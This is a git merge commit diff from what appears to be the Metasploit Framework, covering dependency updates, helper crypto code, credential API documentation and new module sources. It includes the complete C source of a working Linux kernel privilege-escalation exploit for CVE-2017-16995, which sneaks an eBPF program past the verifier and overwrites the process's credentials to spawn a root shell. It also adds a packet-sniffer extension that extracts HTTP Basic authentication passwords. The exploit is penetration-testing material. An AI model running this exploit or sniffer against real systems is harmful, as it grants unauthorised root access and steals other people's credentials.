Merge remote-tracking branch 'upstream/master' into add-resource-meta-shell-command

GSoC/Meterpreter_Web_Console
Wang Yihang 2018-07-30 13:25:26 +08:00
commit c90b03808a
491 changed files with 33740 additions and 16890 deletions

View File

@ -83,6 +83,7 @@ corelanc0d3r <corelanc0d3r@github> corelanc0d3r <peter.ve@corelan.be>
corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
efraintorres <efraintorres@github> et <>
espreto <espreto@github> <robertoespreto@gmail.com>

View File

@ -20,7 +20,7 @@ PATH
metasploit-model
metasploit-payloads (= 1.3.40)
metasploit_data_models
metasploit_payloads-mettle (= 0.4.0)
metasploit_payloads-mettle (= 0.4.1)
mqtt
msgpack
nessus_rest
@ -65,9 +65,11 @@ PATH
sinatra
sqlite3
sshkey
sysrandom
thin
tzinfo
tzinfo-data
warden
windows_error
xdr
xmlrpc
@ -118,7 +120,8 @@ GEM
crass (1.0.4)
daemons (1.2.6)
diff-lcs (1.3)
dnsruby (1.60.2)
dnsruby (1.61.2)
addressable (~> 2.5)
docile (1.3.1)
erubis (2.7.0)
eventmachine (1.2.7)
@ -127,12 +130,12 @@ GEM
factory_bot_rails (4.10.0)
factory_bot (~> 4.10.0)
railties (>= 3.0.0)
faker (1.8.7)
faker (1.9.1)
i18n (>= 0.7)
faraday (0.15.2)
multipart-post (>= 1.2, < 3)
filesize (0.1.1)
fivemat (1.3.6)
fivemat (1.3.7)
hashery (2.1.2)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
@ -172,7 +175,7 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.4.0)
metasploit_payloads-mettle (0.4.1)
method_source (0.9.0)
mini_portile2 (2.3.0)
minitest (5.11.3)
@ -183,7 +186,7 @@ GEM
net-ssh (5.0.2)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.8.3)
nokogiri (1.8.4)
mini_portile2 (~> 2.3.0)
octokit (4.9.0)
sawyer (~> 0.8.0, >= 0.5.3)
@ -192,7 +195,7 @@ GEM
packetfu (1.1.13)
pcaprub
patch_finder (1.0.2)
pcaprub (0.12.4)
pcaprub (0.13.0)
pdf-reader (2.1.0)
Ascii85 (~> 1.0.0)
afm (~> 0.2.1)
@ -229,7 +232,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (12.3.1)
rb-readline (0.5.5)
recog (2.1.19)
recog (2.1.20)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.13)
@ -268,7 +271,7 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.14)
rex-socket (0.1.15)
rex-core
rex-sslscan (0.1.5)
rex-core
@ -302,9 +305,9 @@ GEM
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.7.1)
ruby-macho (1.2.0)
ruby-macho (2.0.0)
ruby-rc4 (0.1.5)
ruby_smb (1.0.0)
ruby_smb (1.0.3)
bindata
rubyntlm
windows_error
@ -325,6 +328,7 @@ GEM
sqlite3 (1.3.13)
sshkey (1.9.0)
swagger-blocks (2.0.2)
sysrandom (1.0.5)
thin (1.7.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
@ -338,12 +342,14 @@ GEM
thread_safe (~> 0.1)
tzinfo-data (1.2018.5)
tzinfo (>= 1.0.0)
warden (1.2.7)
rack (>= 1.0)
windows_error (0.1.2)
xdr (2.0.0)
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xmlrpc (0.3.0)
yard (0.9.14)
yard (0.9.15)
PLATFORMS
ruby

View File

@ -0,0 +1,496 @@
/*
Credit @bleidl, this is a slight modification to his original POC
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
For details on how the exploit works, please visit
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
Tested on Ubuntu 16.04 with the following Kernels
4.4.0-31-generic
4.4.0-62-generic
4.4.0-81-generic
4.4.0-116-generic
4.8.0-58-generic
4.10.0.42-generic
4.13.0-21-generic
Tested on Fedora 27
4.13.9-300
gcc cve-2017-16995.c -o cve-2017-16995
internet@client:~/cve-2017-16995$ ./cve-2017-16995
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff880038c3f500
[*] Leaking sock struct from ffff88003af5e180
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880038704600
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff880038704600
[*] credentials patched, launching shell...
#id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
*/
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>
char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;
#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];
static __u64 ptr_to_u64(void *ptr)
{
return (__u64) (unsigned long) ptr;
}
int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = ptr_to_u64((void *) insns),
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = ptr_to_u64((void *) license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries, int map_flags)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
int bpf_lookup_elem(int fd, void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD 1
#endif
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn) { \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#define BPF_DISABLE_VERIFIER() \
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
BPF_EXIT_INSN() /* } */ \
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
static int load_prog() {
struct bpf_insn prog[] = {
BPF_DISABLE_VERIFIER(),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
/* store map slot address in r2 */
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
/* get fp */
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
/* get skbuff */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
/* read */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
/* else */
/* write */
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}
void info(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[.] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void msg(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void redact(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
if(doredact) {
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
return;
}
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void fail(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[!] ");
vfprintf(stdout, fmt, args);
va_end(args);
exit(1);
}
void
initialize() {
info("\n");
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
info("\n");
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
info("\n");
redact("creating bpf map\n");
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
if (mapfd < 0) {
fail("failed to create bpf map: '%s'\n", strerror(errno));
}
redact("sneaking evil bpf past the verifier\n");
progfd = load_prog();
if (progfd < 0) {
if (errno == EACCES) {
msg("log:\n%s", bpf_log_buf);
}
fail("failed to load prog '%s'\n", strerror(errno));
}
redact("creating socketpair()\n");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
fail("failed to create socket pair '%s'\n", strerror(errno));
}
redact("attaching bpf backdoor to socket\n");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
fail("setsockopt '%s'\n", strerror(errno));
}
}
static void writemsg() {
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer)) {
fprintf(stderr, "short write: %zd\n", n);
}
}
static void
update_elem(int key, unsigned long value) {
if (bpf_update_elem(mapfd, &key, &value, 0)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
static unsigned long
get_value(int key) {
unsigned long value;
if (bpf_lookup_elem(mapfd, &key, &value)) {
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
return value;
}
static unsigned long
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
update_elem(0, op);
update_elem(1, addr);
update_elem(2, value);
writemsg();
return get_value(2);
}
unsigned long
get_skbuff() {
return sendcmd(1, 0, 0);
}
unsigned long
get_fp() {
return sendcmd(0, 0, 0);
}
unsigned long
read64(unsigned long addr) {
return sendcmd(2, addr, 0);
}
void
write64(unsigned long addr, unsigned long val) {
(void)sendcmd(3, addr, val);
}
static unsigned long find_cred() {
uid_t uid = getuid();
unsigned long skbuff = get_skbuff();
/*
* struct sk_buff {
* [...24 byte offset...]
* struct sock *sk;
* };
*
*/
unsigned long sock_addr = read64(skbuff + 24);
msg("skbuff => %llx\n", skbuff);
msg("Leaking sock struct from %llx\n", sock_addr);
if(sock_addr < PHYS_OFFSET){
fail("Failed to find Sock address from sk_buff.\n");
}
/*
* scan forward for expected sk_rcvtimeo value.
*
* struct sock {
* [...]
* const struct cred *sk_peer_cred;
* long sk_rcvtimeo;
* };
*/
for (int i = 0; i < 100; i++, sock_addr += 8) {
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
unsigned long cred_struct = read64(sock_addr - 8);
if(cred_struct < PHYS_OFFSET) {
continue;
}
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
if(test_uid != uid) {
continue;
}
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
msg("Cred structure at %llx\n", cred_struct);
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
return cred_struct;
}
}
fail("failed to find sk_rcvtimeo.\n");
}
static void
hammer_cred(unsigned long addr) {
msg("hammering cred structure at %llx\n", addr);
#define w64(w) { write64(addr, (w)); addr += 8; }
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
w64(val);
w64(0); w64(0); w64(0); w64(0);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
#undef w64
}
int
main(int argc, char **argv) {
initialize();
hammer_cred(find_cred());
msg("credentials patched, launching shell...\n");
if(execl("/bin/sh", "/bin/sh", NULL)) {
fail("exec %s\n", strerror(errno));
}
}

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -1,22 +1,24 @@
# Psnuffle password sniffer add-on class for HTTP GET URL's
# Psnuffle password sniffer add-on class for HTTP URLs
# part of psnuffle sniffer auxiliary module
#
# Very simple example how to write sniffer extensions
#
# Sniffer class for GET URL's
#
# Sniffer class for GET/POST URLs.
# Also extracts HTTP Basic authentication credentials.
#
class SnifferURL < BaseProtocolParser
def register_sigs
self.sigs = {
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
:webhost => /^HOST\:\s+([^\n\r]+)/i,
:post => /^POST\s+([^\n]+)\s+HTTP\/\d\.\d/i,
:webhost => /^HOST:\s+([^\n\r]+)/i,
:basic_auth => /^Authorization:\s+Basic\s+([^\n\r]+)/i,
}
end
def parse(pkt)
# We want to return immediantly if we do not have a packet which is handled by us
# We want to return immediately if we do not have a packet which is handled by us
return unless pkt.is_tcp?
return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80)
return if (pkt.tcp_sport != 80 && pkt.tcp_dport != 80)
s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt))
self.sigs.each_key do |k|
@ -34,10 +36,16 @@ class SnifferURL < BaseProtocolParser
case matched
when :webhost
sessions[s[:session]].merge!({k => matches})
if(s[:get])
if s[:get]
print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}")
sessions.delete(s[:session])
return
end
if s[:post]
print_status("HTTP POST: #{s[:session]} http://#{s[:webhost]}#{s[:post]}")
end
if s[:basic_auth]
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
report_auth_info s
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
end
when nil
# No matches, no saved state
@ -45,4 +53,3 @@ class SnifferURL < BaseProtocolParser
end # end of each_key
end # end of parse
end # end of URL sniffer

View File

@ -0,0 +1,114 @@
/* from https://github.com/mdornseif/didentd */
/* public domain
* BASE64 on stdin -> converted data on stdout */
/* arbitrary data on stdin -> BASE64 data on stdout
* UNIX's newline convention is used, i.e. one ASCII control-j (10 decimal).
*
* public domain
*/
/* Hacked by drt@un.bewaff.net to be a library function working on memory blocks
*
*/
static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int base64decode(char *dest, const char *src, int l)
{
static char inalphabet[256], decoder[256];
static bool table_initialized = false;
int i, bits, c, char_count;
int rpos;
int wpos = 0;
if (!table_initialized) {
for (i = (sizeof alphabet) - 1; i >= 0; i--) {
inalphabet[alphabet[i]] = 1;
decoder[alphabet[i]] = i;
}
table_initialized = true;
}
char_count = 0;
bits = 0;
for (rpos = 0; rpos < l; rpos++) {
c = src[rpos];
if (c == '=') {
break;
}
if (c > 255 || !inalphabet[c]) {
return -1;
}
bits += decoder[c];
char_count++;
if (char_count < 4) {
bits <<= 6;
} else {
dest[wpos++] = bits >> 16;
dest[wpos++] = (bits >> 8) & 0xff;
dest[wpos++] = bits & 0xff;
bits = 0;
char_count = 0;
}
}
switch (char_count) {
case 1:
return -1;
break;
case 2:
dest[wpos++] = bits >> 10;
break;
case 3:
dest[wpos++] = bits >> 16;
dest[wpos++] = (bits >> 8) & 0xff;
break;
}
return wpos;
}
int base64encode(char *dest, const char *src, int l)
{
int bits, c, char_count;
int rpos;
int wpos = 0;
char_count = 0;
bits = 0;
for (rpos = 0; rpos < l; rpos++) {
c = src[rpos];
bits += c;
char_count++;
if (char_count < 3) {
bits <<= 8;
} else {
dest[wpos++] = alphabet[bits >> 18];
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
dest[wpos++] = alphabet[bits & 0x3f];
bits = 0;
char_count = 0;
}
}
if (char_count != 0) {
bits <<= 16 - (8 * char_count);
dest[wpos++] = alphabet[bits >> 18];
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
if (char_count == 1) {
dest[wpos++] = '=';
dest[wpos++] = '=';
} else {
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
dest[wpos++] = '=';
}
}
return wpos;
}

View File

@ -0,0 +1,54 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
// This code was originally obtained and modified from the following source
// by Bobin Verton:
// https://gist.github.com/rverton/a44fc8ca67ab9ec32089
#define N 256 // 2^8
void swap(unsigned char *a, unsigned char *b) {
int tmp = *a;
*a = *b;
*b = tmp;
}
int KSA(char *key, unsigned char *S) {
int len = strlen(key);
int j = 0;
for (int i = 0; i < N; i++) {
S[i] = i;
}
for (int i = 0; i < N; i++) {
j = (j + S[i] + key[i % len]) % N;
swap(&S[i], &S[j]);
}
return 0;
}
int PRGA(unsigned char *S, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
int i = 0;
int j = 0;
for (size_t n = 0, len = plainTextSize; n < len; n++) {
i = (i + 1) % N;
j = (j + S[i]) % N;
swap(&S[i], &S[j]);
int rnd = S[(S[i] + S[j]) % N];
ciphertext[n] = rnd ^ plaintext[n];
}
return 0;
}
int RC4(char *key, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
unsigned char S[N];
KSA(key, S);
PRGA(S, plaintext, ciphertext, plainTextSize);
return 0;
}

View File

@ -6,6 +6,8 @@
#define NULL ((void *)0)
#define TRUE 1
#define FALSE 0
#define true 1
#define false 0
#define VOID void
#define _tWinMain WinMain
#define CALLBACK __stdcall
@ -104,6 +106,7 @@ typedef void* LPCVOID;
typedef ULONG_PTR DWORD_PTR;
typedef void* HWND;
typedef int BOOL;
typedef int bool;
typedef BOOL* PBOOL;
typedef LONG_PTR LRESULT;
typedef UINT_PTR WPARAM;

View File

@ -0,0 +1,11 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
void xor(char* dest, char* src, char key, int len) {
for (int i = 0; i < len; i++) {
char c = src[i] ^ key;
dest[i] = c;
}
}

File diff suppressed because it is too large Load Diff

View File

@ -5,34 +5,105 @@ module CredentialApiDoc
include Swagger::Blocks
ORIGIN_ID_DESC = 'The ID of the origin record associated with this credential.'
ORIGIN_TYPE = 'The class name within Metasploit::Credential that indicates where this credential came from.'
ORIGIN_TYPE_DESC = 'The class name within Metasploit::Credential that indicates where this credential came from.'
PRIVATE_ID_DESC = 'The ID of the Metasploit::Credential::Private record associated with this credential.'
PUBLIC_ID_DESC = 'The ID of the Metasploit::Credential::Public record associated with this credential.'
REALM_ID_DESC = 'The ID of the Metasploit::Credential::Realm from where the credential was gathered.'
LOGINS_COUNT_DESC = 'The number of successful login attempts that were completed using this credential.'
ORIGIN_TYPE_ENUM = [
ADDRESS_DESC = 'The IP address of the host this credential was collected from.'
ADDRESS_EXAMPLE = '127.0.0.1'
SERVICE_NAME_DESC = 'The name of the service from which this credential was collected from.'
SERVICE_NAME_EXAMPLE = 'ssh'
PORT_DESC = 'The port on which the service was listening where this credential was collected from.'
PORT_EXAMPLE = '22'
PROTOCOL_DESC = 'The protocol the service was using.'
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
MODULE_FULLNAME_DESC = 'The full name of the Metasploit module that was used to collect this credential.'
MODULE_FULLNAME_EXAMPLE = 'auxiliary/scanner/smb/smb_login'
FILENAME_DESC = 'The filename of the file that was imported. This is necessary when the origin_type is import.'
FILENAME_EXAMPLE = '/etc/shadow'
POST_REFERENCE_NAME_DESC = 'The reference name of the Metasploit Post module used to collect this credential.'
POST_REFERENCE_NAME_EXAMPLE = 'post/linux/gather/hashdump'
SESSION_ID_DESC = 'The ID of the session where this credential was collected from.'
USERNAME_DESC = 'The username for this credential.'
USERNAME_EXAMPLE = 'administrator'
PUBLIC_TYPE_DESC = 'The type of username that this falls into. This is used for searching for similar credentials.'
PRIVATE_TYPE_DESC = 'The type of password data for this credential.'
DATA_DESC = 'The private data for this credential. The semantic meaning of this data varies based on the type.'
DATA_EXAMPLE = "'password123', '$1$5nfRD/bA$y7ZZD0NimJTbX9FtvhHJX1', or '$NT$7f8fe03093cc84b267b109625f6bbf4b'"
JTR_FORMAT_DESC = 'Comma-separated list of the formats for John the ripper to use to try and crack this.'
JTR_FORMAT_EXAMPLE = 'md5,des,bsdi,crypt'
PUBLIC_TYPE_ENUM = [ 'Metasploit::Credential::BlankUsername', 'Metasploit::Credential::Username' ]
PRIVATE_TYPE_CLASS_ENUM = [
'Metasploit::Credential::ReplayableHash',
'Metasploit::Credential::NonreplayableHash',
'Metasploit::Credential::NTLMHash',
'Metasploit::Credential::Password',
'Metasploit::Credential::PasswordHash',
'Metasploit::Credential::SSHKey',
'Metasploit::Credential::PostgresMD5',
'Metasploit::Credential::BlankPassword'
]
PRIVATE_TYPE_ENUM = [
'password',
'ssh_key',
'ntlm_hash',
'postgres_md5',
'nonreplayable_hash',
'<blank>'
]
ORIGIN_TYPE_CLASS_ENUM = [
'Metasploit::Credential::Origin::Import',
'Metasploit::Credential::Origin::Manual',
'Metasploit::Credential::Origin::Service',
'Metasploit::Credential::Origin::Session'
]
ORIGIN_TYPE_ENUM = [
'import',
'manual',
'service',
'session'
]
# Swagger documentation for Credential model
swagger_schema :Credential do
key :required, [:origin_id]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC
property :origin_type, type: :string, description: ORIGIN_TYPE, enum: ORIGIN_TYPE_ENUM
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_CLASS_ENUM
property :private_id, type: :integer, format: :int32, description: PRIVATE_ID_DESC
property :public_id, type: :integer, format: :int32, description: PUBLIC_ID_DESC
property :realm_id, type: :integer, format: :int32, description: REALM_ID_DESC
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :logins_count, type: :integer, format: :int32, description: LOGINS_COUNT_DESC
property :logins do
key :type, :array
items do
key :'$ref', :Login
end
end
property :public, '$ref': :Public
property :private, '$ref': :Private
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Public do
key :required, [:username, :type]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :type, type: :string, description: PUBLIC_TYPE_DESC, enum: PUBLIC_TYPE_ENUM
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Private do
key :required, [:data, :type]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
property :type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_CLASS_ENUM
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
@ -46,13 +117,10 @@ module CredentialApiDoc
parameter :workspace
parameter do
key :in, :body
key :name, :body
key :required, true
schema do
property :svcs do
key :in, :body
key :in, :query
key :name, :svcs
key :description, 'Only return credentials of the specified service.'
key :example, ['ssh', 'owa', 'smb']
key :type, :array
key :required, false
items do
@ -60,29 +128,32 @@ module CredentialApiDoc
end
end
property :ptype do
key :in, :body
parameter do
key :in, :query
key :name, :type
key :description, 'The type of credential to return.'
key :type, :string
key :required, false
key :enum, ['password','ntlm','hash']
key :enum, PRIVATE_TYPE_CLASS_ENUM
end
property :user do
key :in, :body
parameter do
key :in, :query
key :name, :user
key :description, 'Only return credentials where the user matches this regex.'
key :example, 'administrator'
key :type, :string
key :required, false
end
property :pass do
key :in, :body
parameter do
key :in, :query
key :name, :pass
key :description, 'Only return credentials where the password matches this regex.'
key :example, 'password123'
